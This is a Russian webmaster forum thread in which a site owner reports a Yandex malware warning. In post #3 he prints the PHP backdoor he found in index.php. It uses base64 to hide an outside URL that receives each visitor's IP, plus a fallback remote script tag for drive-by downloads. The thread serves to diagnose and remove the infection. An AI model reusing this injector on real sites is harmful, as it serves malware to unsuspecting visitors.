X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

2 страниц V   1 2 >
Открыть тему
Тема закрыта
> Опасный код на сайте, Помогите
arturios
arturios
Topic Starter сообщение 11.3.2013, 11:01; Ответить: arturios
Сообщение #1


JavaSE
******

Группа: Super Moderator
Сообщений: 1803
Регистрация: 16.10.2012
Из: Москва
Поблагодарили: 1296 раз
Репутация:   78  


Добрый день.
Сегодня Яндекс оповестил что нашел код вредоносный на сайте.
А конкретно указал на одну станицу только)))страница новости обычной)

Антивирусный робот Яндекса при проверке страниц анализирует поведение JavaScript-кода и других активных элементов. Если поведение совпадает с эвристическими правилами, характерными для drive-by-download атак, то принимается решение о том, что на странице содержится вредоносный код.


Кто сталкивался?
Адрес скину в ЛС кто готов помочь

Сообщение отредактировал arturios - 11.3.2013, 11:05
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
codename65
codename65
сообщение 11.3.2013, 11:27; Ответить: codename65
Сообщение #2


Завсегдатай
*****

Группа: Active User
Сообщений: 691
Регистрация: 15.9.2010
Из: Урал
Поблагодарили: 165 раз
Репутация:   26  


dle? редиректы в мобильной версии?


--------------------
Автоматический сервис по раскрутке в социальных сетях
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
arturios
arturios
Topic Starter сообщение 11.3.2013, 12:51; Ответить: arturios
Сообщение #3


JavaSE
******

Группа: Super Moderator
Сообщений: 1803
Регистрация: 16.10.2012
Из: Москва
Поблагодарили: 1296 раз
Репутация:   78  


DLE
Неа
Сам не замечал редиректов, мысль была такая заходил с тел. но все нормально.

Всем спасибо кто в ЛС написал, нашел разобрался
в index.php
Сначала не обратил внимание а потом вспомнил что это лишние

function sql2_safe($in) {
        $rtn = base64_decode($in);
        return $rtn;
}





function collectnewss() {

        if (!isset($_COOKIE["iJijkdaMnerys"])) {
        $value = 'yadeor';
        $ip = $_SERVER['REMOTE_ADDR'];
        $get = sql2_safe("aHR0cDovL3h4eHBvcm5vLnh4dXouY29tOjg4OC9tb3ZlLnBocD9pcD0=").$ip;
        $file = @fopen ($get, "r");
        $content = @fread($file, 1000);
        @setcookie("iJijkdaMnerys", $value, time()+3600*24);
        if (!$content)
            echo sql2_safe("PHNjcmlwdCBzcmM9Imh0dHA6Ly9mZWVsdGhlc2FtZS5jaGFuZ2VpcC5uYW1lL3JzaXplLmpzIj48
L3NjcmlwdD4=");
        else
            echo $content;

        }
}
collectnewss ();
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Rxp
Rxp
сообщение 11.3.2013, 23:07; Ответить: Rxp
Сообщение #4


Участник
***


Группа: User
Сообщений: 115
Регистрация: 9.11.2008
Поблагодарили: 21 раз
Репутация:   10  


ТС если повторится стучите, проверим сайт на вирусы + дадим рекомендации!


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
romancabrov
romancabrov
сообщение 20.3.2013, 0:48; Ответить: romancabrov
Сообщение #5


Новичок
*

Группа: User
Сообщений: 31
Регистрация: 24.1.2013
Поблагодарили: 1 раз
Репутация:   0  


Ребята помогите мне тоже)) та же проблема, как решили?
только у меня движок wordpress

Сообщение отредактировал romancabrov - 20.3.2013, 0:50


--------------------
Жадность фраера губит. https://seopirat.club/ форум продвижения пиратских сайтов
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
mobilnikplus
mobilnikplus
сообщение 20.3.2013, 12:40; Ответить: mobilnikplus
Сообщение #6


Завсегдатай
*****

Группа: Active User
Сообщений: 780
Регистрация: 21.9.2010
Из: Украина
Поблагодарили: 143 раза
Репутация:   10  


Кстати, а как узнать, на какой конкретно код ругается Яндекс? Я почти уверен, что никакого вируса там нет, потому что кроме Яндекса его никто не видит, а одни и те же скрипты стоят уже 1,5 года. Но что-то ему не нравится. Как понять что?
Пару месяцев назад мне уже приходило подобное письмо про вирусы, а через несколько часов другое - что уже всё нормально, хотя я на сайте ничего не менял. smile.gif
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
onuni
onuni
сообщение 20.3.2013, 12:48; Ответить: onuni
Сообщение #7


Частый гость
**

Группа: User
Сообщений: 83
Регистрация: 6.1.2011
Поблагодарили: 5 раз
Репутация:   -1  


Может, конкуренты выросов подкинули, у вас никаких там редиректов на стоит случаем?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
mobilnikplus
mobilnikplus
сообщение 20.3.2013, 13:55; Ответить: mobilnikplus
Сообщение #8


Завсегдатай
*****

Группа: Active User
Сообщений: 780
Регистрация: 21.9.2010
Из: Украина
Поблагодарили: 143 раза
Репутация:   10  


Нет, ну, не козлы, а? Уже и Опера сайт из закладок открывать не хочет. Видите ли, Яндекс им уже настучал. Уроды. sad.gif
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
romancabrov
romancabrov
сообщение 21.3.2013, 4:32; Ответить: romancabrov
Сообщение #9


Новичок
*

Группа: User
Сообщений: 31
Регистрация: 24.1.2013
Поблагодарили: 1 раз
Репутация:   0  


Что никто не может помочь?(( сайт darievna2.ru буду рад любому совету, сам никак разобраться не могу((


--------------------
Жадность фраера губит. https://seopirat.club/ форум продвижения пиратских сайтов
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
viston
viston
сообщение 21.3.2013, 6:18; Ответить: viston
Сообщение #10


Завсегдатай
*****

Группа: Active User
Сообщений: 549
Регистрация: 19.1.2010
Из: Приморский край город Уссурийск
Поблагодарили: 98 раз
Репутация:   16  


romancabrov


Проверял сайт вот этим

http://revisium.com/ai/faq.php
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
2 страниц V   1 2 >
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) SimplePay: Прием платежей на сайте для юридических и физических лиц
4 kuprum 539 15.12.2017, 14:07
автор: kuprum
Горячая тема (нет новых ответов) Рекомендую: размещение статьи на сайте, ТИЦ 325, PR 6, траст XT 8
44 rumblade 10704 14.12.2017, 15:45
автор: rumblade
Открытая тема (нет новых ответов) 17 вещей на вашем сайте, которые ненавидят
Один из постулатов маркетинга — не раздражать людей
25 PostBrigada 3633 12.12.2017, 21:44
автор: alexandrrr
Открытая тема (нет новых ответов) Тема имеет прикрепленные файлыПрибыль с видео на сайте и в соц сетях
Как получить доп доход с нативного контента
14 maxim_krasovskiy 2839 12.12.2017, 12:05
автор: maxim_krasovskiy
Открытая тема (нет новых ответов) ALFAcoins.com - Приём криптовалюты на вашем сайте
17 ALFAcoins 3711 11.12.2017, 23:07
автор: ALFAcoins


 



RSS Текстовая версия Сейчас: 18.12.2017, 7:57
Дизайн